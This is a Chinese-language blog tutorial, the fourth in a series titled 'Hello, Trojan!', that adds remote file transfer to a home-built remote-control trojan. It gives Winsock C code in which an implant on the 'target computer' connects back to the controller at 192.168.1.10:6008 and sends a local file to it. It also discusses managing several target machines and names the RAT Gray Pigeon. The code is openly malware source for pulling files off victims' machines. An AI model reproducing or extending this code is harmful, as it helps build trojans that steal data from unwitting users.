木马,你好!(四)远程文件传送

关于上一讲

说起来,上一讲最后那一个多线程看起来有点奇怪。这里在简单说一下,首先是 CreateProcess 之后的 ReadFile 读管道阻塞了。这这个是个蛋疼的问题,如果客户端的程序卡在这里不受服务端控制的话,这就好像是将藏着军队的特洛伊木马送入城内之后,里面的士兵卡在木马的小内出不来了。如果你没出现这个问题的话可以跳过,或者你知道解决方案的话往望联系博主(下方评论即可,留邮箱、你懂的)。所以,为了避免客户端在这里卡住,所以就分了一个线程去发送这个数据,这样就算这个线程卡住了客户端依旧可以淡定的执行下去。

于是乎,正常情况下来说数据是一发一收。但是由于管道导出来的数据使用有点断断续续,就形成了一种一发多收的情况。所以如果只是一发一收的话,会导致客户端多发上来的数据服务端只收了一次就收不到了,后面的数据就丢失了。所以就加了个多线程一直收。不过其实可以简单的改一下上一讲最后面客户端的代码会让情况稍微好些的。while 循环读管道挨个拼接一个字符串,管道循环完了之后直接一次发过来。不过这样还是有卡壳的危险也就懒得动了。

那么话题绕回来。我们还是好好的了解一下文件传输这个东西。对于很多新人来说话这个词听起来有点神秘,又有点高深莫测,但是只要你的 C语言基础学得好,对于流的概念把握到了一定的火候那么你也应该知道的差不多了。嗯,没错,这东西也就对新人来说很高上大,但了解了理论之后就会觉得其实挺简单。

当然,这里是指理论简单,如果要专门讨论一个文件共享用的服务端之类的,那估计是另外一个系列的博文了,而且内容长度应该比这个木马系列要长多。如果有 linux 开发倾向的也可以去 github 上找找博主大学时代写的一个 ftp (代码),代码不长,就 2000 行出头,(大概意思是有了,不过中间还有不少污点),有要交流的可以去看看。

所以这一讲只是简单实现一下文件传输这个功能。为了劲量让人觉得这个功能简单,所以代码可能写的有点简陋,希望路过的大神别笑。

再来一个 socket

首先是在服务端新起一个线程,这个新的线程里面就只做了一件事,除了正常的 socket 之外又新绑定了一个 socket 来监听。为什么要在新来一个 socket 去监听?看过了上一讲最后一个多线程的程序,心中大概都模模糊糊的有点体会吧。

作为文件传输首先要区分开来的便是命令和数据。我们目前常用的 FTP (File Transfer Protocol 文件传输协议)都遵循一件事情,那就默认的命令传输端口是 21 默认的数据传输端口是 20。其实际情况就是一个 socket 专门处理命令一个 socket 专门处理数据传输。

Socket 这东西虽然直译过来叫插座,但是更形象一点的话可以把 socket 当做电话。客户端与服务端使用 socket 通信的过程实际上更像是两个人拿着两部手机在打电话——————你说一句我听一句,我说一句你听一句的轮流来。

上一讲开头的时候情况就好像是S君(服务端)拿起手机对C君(客户端)说出命令,然后C君执行完命令之后通过手机对S君汇报结果。

而后来的句柄卡壳的情况就好像是C君死板的执行任务,但是任务的最后总结憋不出来于是S君下达命令之后C君一直纠结一个任务便没有回音了。作为S君的顶头上司的博主表示不能忍受。于是改版加了多线程之后情况就变成了,C君一边执行任务一遍汇报,最后读取结果方法卡住了也没关系。

那么现在我们要搞清楚的事情就是,这样的传输方式对于传输文件来说肯定是不合适的。因为下达命令之后C君要送一份详细的文件来给S君,但是只有一部电话。如果S君一遍听着C君念文件的内容,那么S君在下达命令C君要怎么办?要S君一边说文件的内容一边听C君汇报吗?

所以情况就是我们需要一个新的设备————传真机。那么情况就可以改观过来。S君和C君有可以继续原来的命令往返,而S君和C君只要两人手上都多一个传真机就可以了。S君告诉C君要XX文件,C君直接通过传真机(而不是手机)发过来就可以了。

手机或者叫传真,随便你怎么称呼,总之我们都知道这货实际上是可以传递数据的 socket 就行。如果你能理解这个心冒出来的传真机那么后面就好说了。

服务端的传真机

为了避免传真机和手机串线,所以我们新开一个线程与主线程去避开,然后在新的线程里面来建立我们的传真机 socket,具体情况如下:

DWORD WINAPI DataThreadProc(LPVOID lpThreadParameter)
{
	int num = 0, len = sizeof(SOCKADDR);
	SOCKET sockClient;			// 客户端 Scoket
	SOCKADDR_IN addrClient;		// 客户端地址
	SOCKET sockServerData;		// 服务端数据传输 Socket
	SOCKADDR_IN addrServerData;	// 服务端数据传输地址

	sockServerData = socket(AF_INET, SOCK_STREAM, 0);				// 初始化 socket
	addrServerData.sin_addr.S_un.S_addr = inet_addr("192.168.1.10");// 设置本机IP
	addrServerData.sin_family = AF_INET;							// 协议类型是INET
	addrServerData.sin_port = htons(6008);							// 绑定端口6000

	bind(sockServerData, (SOCKADDR *)&addrServerData, sizeof(SOCKADDR)); // 绑定 socket
	listen(sockServerData, 5); // 开始监听链接

	while(1)
	{
		// 等待客户端连接
		sockClient = accept(sockServerData, (SOCKADDR *)&addrClient, &len);

		printf("n准备接收传输文件n");

		FileRecv(sockClient, "D:\1.txt");

		printf("文件接受完毕n>>");
	}
	return 0;
}

定义一个地址结构体指明地址还有端口,再定义一个 socket 来 bind、listen、accept 好了,我不说你们都懂的。 socket 三板斧就这样,是个定式。中间调用我们的文件接收函数 FileRecv:

void FileRecv(SOCKET s, char *filename) 
{
	char recvBuf[1024] = {0};	// 缓冲区
	HANDLE hFile;				// 文件句柄
	DWORD count;				// 写入的数据计数

	hFile = CreateFile(
		filename,				// 文件名
		GENERIC_WRITE,          // 写入权限
		0,                      // 阻止其他进程访问
		NULL,                   // 子进程不可继承本句柄
		CREATE_NEW,             // 仅不存在时创建新文件
		FILE_ATTRIBUTE_NORMAL,  // 普通文件
		NULL
	); 

	while (1)
	{
		// 从客户端读数据
		recv(s, recvBuf, 1024, 0);
		if (strlen(recvBuf) > 0)
		{
			// 如果是结束标志则停止写入
			if (strcmp(recvBuf, "%%over%%") == 0)
			{
				CloseHandle(hFile);
				break;
			}
			// 将数据写入到本地的文件
			WriteFile(hFile,recvBuf,strlen(recvBuf),&count,0);
		}
	}
}

好吧,就这么简单。没有什么别的了。

点击展开:服务端完整代码

客户端的传真机

如果你已经接受了上面的代码,那么下面的就更简单了。一样的新建一个 socket,一样的文件操作从读改成了写:

void FileSend(SOCKET s, CHAR *filename)
{
	HANDLE hFile;
	char buf[MSG_LEN] = {0};    //缓冲区
	DWORD len = 0;

	printf("n准备传输文件n");

	hFile = CreateFile(
		filename,	            // 文件名
		GENERIC_READ,           // 读取权限
		0,                      // 阻止其他进程访问
		NULL,                   // 子进程不可继承本句柄
		OPEN_EXISTING,          // 仅当该文件或设备存在时,打开它
		FILE_ATTRIBUTE_NORMAL,  // 普通文件
		NULL                    // 不适用模板文件
	);

	if (hFile == INVALID_HANDLE_VALUE) 
	{ 
		printf("文件无法打开n");
		return; 
	}

	// 读取客户端文件数据
	ReadFile( hFile, buf, MSG_LEN, &len, NULL );

	// 将数据发送到服务端
	send(s, buf, strlen(buf) + 1, 0);

	// 发送完毕标识
	send(s, "%%over%%", sizeof("%%over%%"), 0);

	// 关闭文件句柄
	CloseHandle( hFile );
}

DWORD WINAPI DataThreadProc (LPVOID lpThreadParameter)
{
	SOCKADDR_IN addrServerData; // 服务端地址
	SOCKET sockClientData; // 客户端 Scoket

	printf("进入子线程, 准备读取数据n");

	sockClientData = socket(AF_INET, SOCK_STREAM, 0);
	addrServerData.sin_addr.S_un.S_addr = inet_addr("192.168.1.10");  // 目标IP (127.0.0.1是本机地址)
	addrServerData.sin_family = AF_INET;                           // 协议类型是INET
	addrServerData.sin_port = htons(6008); // 设置数据传输地址

	// 让 sockClient 连接到 服务端
	connect(sockClientData, (SOCKADDR *)&addrServerData, sizeof(SOCKADDR));

	// 传输文件
	FileSend(sockClientData, "E:\1.txt");

	printf("文件发送完毕n");

	return 0;
}

几乎没人任何难点的就这样一路下来了。是不是很奇怪,文件传输是不是该再难一点?其实就这么简单。文件传输其实是一个很常见的操作,例如我们平常的文件剪切,将一个文件从 E: 盘下的一个目录移动到 D: 盘下的某处,这样的操作就已经算的上是传送文件了。而远程文件传输只是把读和写这两个功能拆开放到两个地方执行罢了。

点击展开:客户端完整代码

其中的各种问题

错误处理

先说说不足之处吧,首先是错误处理的问题。中间很多地方都有错误处理,被博主省略掉了,例如新建 socket 有没有成功文件句柄打开有没有成功之类的。各位不要忘了。除了这些,还有一个地方就是“功能上的错误处理”,就如同最开始第二讲中写了个简单的关机命令与之配套的就写了一个取消关机的命令。各位注意开发功能的时候也是这样,莫要长板凳只坐一端一边倒了,对应到文件传输功能就是取消文件传输。这里简单提个思路,取消文件传输直接干掉传送的线程就可以了,当然这是最简陋的处理方式,更多的地方大家还要开动脑筋。还比如有文件传送的的时候如果,文件读取失败最好也发一个失败的状态标志来让服务端处理。

文件操作

可能是用惯了 linux 的 read 和 write 导致 windows 的 ReadFile 和 WriteFile 用起来不是很爽,于是博主趁着这个借口就在代码中偷了懒。按照上面的写法只能传送小于 1MB 的文件。实际上 ReadFile 应该是一个循环才对。这里可是一定要改的地方。

线程、进程

对于多线程而言,如果是多个连接接进来的话,很容易乱,所以通常来说,写 ftp 的话最好还是用多进程来写(新来一个连接就新建一个进程,每个连接都有各自的进程空间不会与其他连接的空间相干扰)。不过 windows 下的 API 确实让人(关注过Linux API开发的)感受到一股浓浓的异端气息。已经彻底接受了 fork 统治的博主表示有点 hold 不住。对比 linux 下的 fork,某种程度上来说 windows 下的创建进程的 CreateProcess 函数简直就像是 exec 函数的远房亲戚。不过如果只是一个人用的话用多线程也无所谓,但是如果一台电脑要同时操作多台电脑的话,依旧会有这种问题不过问题不大。话说,线程变多了,小黑框貌似变得有点挤了。如果用 SDK、MFC 或者 QT 之类的 GUI 库做个界面想必是极好的。不过为了不提高教程的门槛这里就说说罢了,有精力的同学可以考虑自己写个界面。(不知不觉又想起小的时候第一次看到灰鸽子的界面时的心情了。)如果没有这方面的考虑,但是又依旧希望一控多的话。可以考虑把博主前面写的代码中服务端与客户端对调过来,把操作部分扔给服务端让服务端在目标计算机上运行。这样,你要连多台电脑只要开多个客户端就可以了,不用麻烦的去处理多个连接。不过这个解决方案也有问题,就是容易丢失目标,因为这样你要主动去连接目标计算机,那么如果目标计算机的 ip 变动了,那么你就可能丢失了这台目标计算机。

代码有点挤

这个挤,主要是全都指挤在一个文件,不够分开。开发的时候最好注意按功能分到多个文件。

待完善

上面客户端的代码中有个 parseCommond 的函数(该函数使用示例),这个是用来解析服务端发下的命令字符串的,原本是想写的完善一点让服务端上发送命令的时候连带一个路径参数让客户端根据服务端指明的路径去传输文件,只不过目前的代码里面已经写的比较露骨就不改了,大家请自己补全。(关于 parseCommond 函数的用途不太理解的可以去看看例子:C/C++ 获取命令字符串中的参数

文章索引

上一讲:木马,你好!(三)管道与远程控制介
下一讲:木马,你好!(五)端口重用

function toggle(id) {
var item = document.getElementById(id);
if (!item.style.display) {
item.style.display = “none”;
} else {
item.style.display = “”;
}
}

Advertisements

2 thoughts on “木马,你好!(四)远程文件传送

发表评论

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / 更改 )

Twitter picture

You are commenting using your Twitter account. Log Out / 更改 )

Facebook photo

You are commenting using your Facebook account. Log Out / 更改 )

Google+ photo

You are commenting using your Google+ account. Log Out / 更改 )

Connecting to %s